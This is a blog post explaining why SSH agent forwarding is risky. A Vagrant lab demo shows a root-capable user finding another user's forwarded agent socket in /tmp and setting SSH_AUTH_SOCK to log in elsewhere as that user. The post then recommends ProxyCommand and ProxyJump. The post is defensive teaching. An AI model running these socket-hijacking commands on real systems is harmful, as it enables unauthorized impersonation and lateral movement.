One of the things that I really like about ssh-agent is its ability to forward itself to remotes. By sending the agent instead of setting keys on each box, I'm locking down access to a few machines that I know and trust. It's amazingly convenient and has saved me so much headache.

As I was doing research for a previous post, I kept seeing hints that maybe forwarding the agent isn't actually a very good idea. man ssh quite explicitly cautions users against forwarding. man ssh_config repeats the same warning. man ssh-agent goes so far as to say it "is easily abused."

The Vulnerability

In order to forward authentication requests, ssh creates a UNIX-domain socket between the machines. This is not an open port governed by network protocols, but rather a pathname managed by the kernel. On either end, access to the socket is limited by file and directory permissions. On the remote, this means only the owning user has access to it.

Also root. It's easy to forget that root has access to everything. By extension, this means anyone with root access has access to private sockets. If root can get there, anyone that can act as root can get there too.

The socket is fairly easy to discover once you know what you're looking for.

$ find /tmp -path '*ssh*' -type s
/tmp/ssh-20mMR4ptdrVJ/agent.2283
$ find /tmp -name 'agent*'
/tmp/ssh-20mMR4ptdrVJ/agent.2283
$ find /tmp -type s
...
/tmp/ssh-20mMR4ptdrVJ/agent.2283
...

By setting your environment's SSH_AUTH_SOCK, you can gain access to the agent. There's not much information you can gain from the socket itself.

$ sudo SSH_AUTH_SOCK=/tmp/ssh-20mMR4ptdrVJ/agent.2283 ssh-add -l
2048 SHA256:7Fd0YO1OENizISLV+rzBHc+KHpsDKnfkZoPEOKNoGt4 user01@host (RSA)

You can, however, authenticate as the compromised user anywhere the compromised agent can take you. That's the danger. The current machine might be safe (barring some situations) but everything connected to it is not.

Example

I really struggled to wrap my head around this initially. I mean, I understand root can get anywhere. I just didn't see the implications. To grok the issue, I put together a demo. It's slightly contrived, but it gets the job done. The final steps especially will probably take more time in the real world. They were easier with full knowledge of the network.

Setup

miller and holden are two users on a network.

  • Both have simple access to mars
  • miller has sudo on ceres while holden connects via a service account
  • holden has sudo on earth while miller connects via a service account
$ vagrant ssh-config
Host ceres
HostName 192.168.121.85
...

Host earth
HostName 192.168.121.186
...

Host mars
HostName 192.168.121.19
...

Forward an Agent

To begin, holden loads credentials in ssh-agent and connects to ceres, forwarding the agent.

$ vagrant ssh earth
Last login: Sun Feb 25 19:25:08 2018
[vagrant@earth ~]$ sudo su - holden
[holden@earth ~]$ eval `ssh-agent`
Agent pid 2114
[holden@earth ~]$ ssh-add -l
The agent has no identities.
[holden@earth ~]$ ssh-add
Enter passphrase for /home/holden/.ssh/id_rsa:
Identity added: /home/holden/.ssh/id_rsa (/home/holden/.ssh/id_rsa)
[holden@earth ~]$ ssh -A service@ceres
The authenticity of host 'ceres (172.28.128.183)' can't be established.
ECDSA key fingerprint is SHA256:zT5jk515i96BlVCQHPCDkba/4DVDdn+rq728pRma2J4.
ECDSA key fingerprint is MD5:32:67:6e:7a:88:1d:ea:f0:7d:8a:e9:44:b8:20:d7:98.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'ceres,172.28.128.183' (ECDSA) to the list of known hosts.
[service@ceres ~]$

Exploit the Socket

With the exposed agent on ceres, miller abuses superuser privileges to access the socket and subsequently connects to mars as holden.

$ vagrant ssh ceres
[vagrant@ceres ~]$ sudo su - miller
[miller@ceres ~]$ ls -lh /tmp | grep ssh
drwx------. 2 service service 4.0K Feb 25 19:35 ssh-b1ztr2bh4c
[miller@ceres ~]$ ls -lh /tmp/ssh-b1ztr2bh4c/
ls: cannot open directory '/tmp/ssh-b1ztr2bh4c/': Permission denied
[miller@ceres ~]$ sudo ls -lh /tmp/ssh-b1ztr2bh4c/

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for miller:
total 0
srwxr-xr-x. 1 service service 0 Feb 25 19:35 agent.2071
[miller@ceres ~]$ sudo SSH_AUTH_SOCK=/tmp/ssh-b1ztr2bh4c/agent.2071 ssh-add -l
2048 SHA256:FEEeeefRwEEaXEiIMO8hcSVeIw7gjvKMsRijtUwWA6c /home/holden/.ssh/id_rsa (RSA)
[miller@ceres ~]$ sudo SSH_AUTH_SOCK=/tmp/ssh-b1ztr2bh4c/agent.2071 ssh holden@mars
The authenticity of host 'mars (172.28.128.54)' can't be established.
ECDSA key fingerprint is SHA256:0olL+aPBBEKDqgrvAAsJFC6Ib4atSqZPztlmNr/qzz4.
ECDSA key fingerprint is MD5:ad:63:ba:56:65:f6:83:d5:81:1f:92:5f:bc:45:6e:0b.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'mars,172.28.128.54' (ECDSA) to the list of known hosts.
[holden@mars ~]$

I'll leave the rest up to your imagination.

Alternative

ProxyCommand is the generally accepted alternative. Rather than leave a trail of open sockets, you tunnel your way to the desired machine via direct connections. You can, in theory, chain as many as you'd like.

~/.ssh/config
1
2
3
4
5
6
Host start
HostName start.fqdn

Host end
HostName end.fqdn
ProxyCommand ssh -W %h:%p start

start is straightforward. It just defines an easy way to get to start.fqdn. end does a bit more with ProxyCommand. Instead of connecting directly, it forwards client I/O to %host on %port via start.

Depending on where you double-check this post, you might run into nc/netcat usage. It's still presented as a current solution in many places (including the man pages for OpenSSH 7.6!). However, it was superceded by -W %h:%p in OpenSSH 5.4, released almost ten years ago. -W is OpenSSH's netcat mode.

Depending on how new your version of OpenSSH is, you might notice ProxyJump while poking around the documentation. OpenSSH 7.3 introduced the option, which simplifies the chaining process. ProxyJump and ProxyCommand are mutually exclusive (I believe it's first-come-first-served), so you can't use both. For this situation, where we're just trying to maintain an encrypted connection between us and a far-flung remote, ProxyJump is perfect. It can be chained in a single line, making lengthy proxy chains more manageable.

~/.ssh/config
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Host start
HostName start.fqdn

Host middle
HostName middle.fqdn
ProxyJump start

Host end
HostName end.fqdn
ProxyJump start,middle

Recap

Forwarding ssh-agents, like many things in life, trades security for convenience. With minimal time investment, forwarding can be replaced by Proxy(Command|Jump). Proxying is not as simple as forwarding but does not, at first blush, expose as much of your network.

Full Scripts

These are in the repo but I also wanted to lay out everything here.

keygen

keygen
1
2
3
4
#!/bin/bash

ssh-keygen -t rsa -P belter -C miller@ceres -f miller
ssh-keygen -t rsa -P hauler -C holden@earth -f holden

Vagrantfile

Vagrantfile
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|
config.vm.box = "fedora/27-cloud-base"

config.vm.provision "shell" do |shell|
shell.privileged = true
shell.inline = <<-SHELL
sed -i \
-e 's/PermitRootLogin/#PermitRootLogin/g' \
-e 's/#MaxAuthTries 6/MaxAuthTries 3/g' \
-e 's/PasswordAuthentication yes/PasswordAuthentication no/g' \
/etc/ssh/sshd_config
systemctl restart sshd
SHELL
end

config.vm.network "private_network", type: "dhcp"

config.vm.define "ceres" do |ceres|
ceres.vm.hostname = "ceres"

ceres.vm.provision "shell" do |shell|
shell.privileged = true
shell.inline = <<-SHELL
useradd -G wheel miller
echo belter | passwd miller --stdin
mkdir -p /home/miller/.ssh
chmod 'u=rwx,go=' /home/miller/.ssh
cp /vagrant/keys/miller /home/miller/.ssh/id_rsa
cp /vagrant/keys/miller.pub /home/miller/.ssh/id_rsa.pub
chown -R miller:miller /home/miller/.ssh
useradd service
echo some_pass | passwd service --stdin
mkdir -p /home/service/.ssh
chmod 'u=rwx,go=' /home/service/.ssh
cp /vagrant/keys/holden.pub /home/service/.ssh/authorized_keys
chmod 'u=rw,go=' /home/service/.ssh/authorized_keys
chown -R service:service /home/service/.ssh
SHELL
end
end

config.vm.define "earth" do |earth|
earth.vm.hostname = "earth"

earth.vm.provision "shell" do |shell|
shell.privileged = true
shell.inline = <<-SHELL
useradd -G wheel holden
echo hauler | passwd holden --stdin
mkdir -p /home/holden/.ssh
chmod 'u=rwx,go=' /home/holden/.ssh
cp /vagrant/keys/holden /home/holden/.ssh/id_rsa
cp /vagrant/keys/holden.pub /home/holden/.ssh/id_rsa.pub
chown -R holden:holden /home/holden/.ssh
useradd service
echo some_pass | passwd service --stdin
mkdir -p /home/service/.ssh
chmod 'u=rwx,go=' /home/service/.ssh
cp /vagrant/keys/miller.pub /home/service/.ssh/authorized_keys
chmod 'u=rw,go=' /home/service/.ssh/authorized_keys
chown -R service:service /home/service/.ssh
SHELL
end
end

config.vm.define "mars" do |mars|
mars.vm.hostname = "mars"

mars.vm.provision "shell" do |shell|
shell.privileged = true
shell.inline = <<-SHELL
useradd miller
echo belter | passwd miller --stdin
mkdir -p /home/miller/.ssh
chmod 'u=rwx,go=' /home/miller/.ssh
cp /vagrant/keys/miller.pub /home/miller/.ssh/authorized_keys
chmod 'u=rw,go=' /home/miller/.ssh/authorized_keys
chown -R miller:miller /home/miller/.ssh
useradd holden
echo hauler | passwd holden --stdin
mkdir -p /home/holden/.ssh
chmod 'u=rwx,go=' /home/holden/.ssh
cp /vagrant/keys/holden.pub /home/holden/.ssh/authorized_keys
chmod 'u=rw,go=' /home/holden/.ssh/authorized_keys
chown -R holden:holden /home/holden/.ssh
SHELL
end
end
end

The OpenSSH logo was pulled directly from its website and was not altered. I couldn't find a license but I'm assuming the logo is covered by a BSD license of some sort. I'm not affiliated with OpenSSH at all.